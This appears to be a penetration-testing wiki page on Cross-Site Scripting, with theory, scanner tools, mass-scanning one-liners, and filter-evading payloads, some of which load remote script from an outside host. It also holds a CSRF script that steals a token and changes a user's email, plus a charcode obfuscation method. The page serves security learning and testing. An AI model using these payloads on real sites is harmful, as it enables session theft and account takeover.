XSS (Cross-Site Scripting)
Theory
Cross-Site Scripting (XSS) is a security vulnerability that occurs when an application includes untrusted data in a web page. Attackers can inject malicious scripts into web pages viewed by other users. These scripts execute in the context of a user's browser, which can lead to a wide range of attacks, such as stealing cookies, session tokens, or sensitive data, defacing websites, or redirecting users to malicious sites.
There are three major types of XSS:
Stored XSS: The injected payload is permanently stored on the server and served to other users when they access the page.
Reflected XSS: The payload is included in the page as a result of a user action, like clicking on a malicious link or submitting a form.
DOM-based XSS: while stored and reflected XSS attacks exploit vulnerabilities in the server-side code, a DOM-based XSS exploits client-side ones (e.g. JavaScript used to help dynamically render a page). DOM-based XSS usually affect user inputs that are temporarily reflected, just like reflected XSS attacks.
Practice
Tools
XSStrike (Python) can be used to scan website for XSS
python xsstrike.py -u https://target.url/Dalfox is a powerful open-source XSS scanner and utility focused on automation.
# Scan an URL
dalfox url http://testphp.vulnweb.com/listproducts.php?cat=1
# From an URLs file
cat urls.txt | dalfox pipeXSSer (Python) is a tool that can detect, exploit and report XSS vulnerabilities on a web application
# --Cl : Crawl only local target(s)
# -c : Number of urls to crawl on target(s)
# --Cw: Deeping level of crawler: 1-5
# -s: show advanced statistics output results
# --auto: Inject a list of vectors provided by XSSer
# --xml: Export to XML
python xsser -u https://target.url -c 50 --Cw 1 --Cl -s --threads 5 --timeout 30 --retries 1 --delay 0 --auto --xml out.xmltoxssin (Python) is an open-source penetration testing tool that automates the process of exploiting Cross-Site Scripting (XSS) vulnerabilities. It consists of an https server that works as an interpreter for the traffic generated by the malicious JavaScript payload that powers this tool (toxin.js).
# Generate certificates
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365
# Start toxssin server
python3 toxssin.py -u https://your.domain.com -c /your/certificate.pem -k /your/privkey.pemOn the target side, XSS payload should looks like:
<script url="https://your.domain.com/handler.js"></script>Here are some handy one-liners to automate XSS scans on domains using tools like gau, hakrawler, waybackurls, katana, uro, qsreplace, httpx, Gxss, Dalfox, Gospider.
It may be usefull for bug bounty hunting
# HTTPX
cat domains.txt | (gau || hakrawler || waybackurls || katana) | grep -Ev "\.(jpeg|jpg|png|ico|gif|css|woff|svg)$" | uro | grep = | qsreplace "<img src=x onerror=alert(1)>" | httpx -silent -nc -mc 200 -mr "<img src=x onerror=alert(1)>"
# Dalfox
cat domains.txt | (gau || hakrawler || waybackurls || katana) | httpx -silent | Gxss -c 100 -p Xss | sort -u |grep http| dalfox pipe
# Curl
cat domains.txt | (gau || hakrawler || waybackurls || katana) | grep '=' |qsreplace '"><script>alert(1)</script>' | while read host do ; do curl -s --path-as-is --insecure "$host" | grep -qs "<script>alert(1)</script>" && echo "$host \033[0;31m" Vulnerable "\033[0m";done
# URLS and Dalfox
gospider -S urls.txt -c 10 -d 5 --blacklist ".(jpg|jpeg|gif|css|tif|tiff|png|ttf|woff|woff2|ico|pdf|svg|txt)" --other-source | grep -e "code-200" | awk '{print $5}'| grep "=" | qsreplace -a | dalfox pipe
# Dalfox, gf
cat domains.txt | (gau || hakrawler || waybackurls || katana) | grep '=' | gf xss | sed 's/=.*/=/' | sort -u | dalfox pipeEnumeration - Find XSS Vulnerabilities
We have to identify input vectors that may not be properly sanitized and that are stored or reflected. For example:
URI parameters for reflected and DOM-based XSS
Other user inputs in forums, chats, comments, posts, and other stored content for stored XSS
HTTP headers like Cookies (and even User-Agents in some cases)
We can input special characters and observe the output to determine if any of the special characters return unfiltered. The most common special characters used for this purpose include:
< > ' " { } ;The following website (or Github) can assist in recognizing the alterations made to user inputs, which can aid in circumventing filters and modifications, enabling the exploitation of XSS vulnerabilities.
Payloads
Generally we will use following payloads as a proof of concept. It will open an alert window.
// Classic Payloads
<script>alert('XSS');</script>
<IMG SRC=JaVaScRiPt:alert('XSS')>
<IMG onmouseover="alert('XSS')">
<<SCRIPT>alert("XSS");//<</SCRIPT>
<A HRef=//X55.is AutoFocus %26%2362 OnFocus%0C=import(href)>
// Useful payloads
<K OnPointerRawUpdate=alert(1)>
<K OnPointerMove=alert(1)>
\’/alert(1)//
<K ContentEditable AutoFocus OnFocus=alert(1)>
<Svg OnLoad=alert(1)>
<Img Src=//X55.is OnLoad=import(src)>We may use an XSS vulnerability to perform a CSRF (Cross-Site-Request-Forgery) and make actions on behalf of the user.
#Exemple from https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-perform-csrf
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/my-account',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/my-account/change-email', true);
changeReq.send('csrf='+token+'&[email protected]')
};
</script>We may improve our payload for more reliability. First, compress it using this website, and then past it as the following encode_to_javascript function argument
function encode_to_javascript(string) {
var input = string
var output = '';
for(pos = 0; pos < input.length; pos++) {
output += input.charCodeAt(pos);
if(pos != (input.length - 1)) {
output += ",";
}
}
return output;
}
let encoded = encode_to_javascript('insert_minified_javascript')
console.log(encoded)Run the function and copy result (charcode) to our final payload
<script>eval(String.fromCharCode(121,19,32 [...] 120,95,42,31))</script>CSP
CSP is a browser security mechanism that aims to mitigate XSS and some other attacks. It works by restricting the resources (such as scripts and images) that a page can load and restricting whether a page can be framed by other pages. To enable CSP, a response needs to include an HTTP response header called Content-Security-Policy with a value containing the policy. The policy itself consists of one or more directives, separated by semicolons.
CSPBypass.com, is an open-source tool designed to help ethical hackers bypass restrictive Content Security Policies (CSP) and exploit XSS (Cross-Site Scripting) vulnerabilities on sites where injections are blocked by CSPs that only allow certain whitelisted domains.
Resources
Last updated
Was this helpful?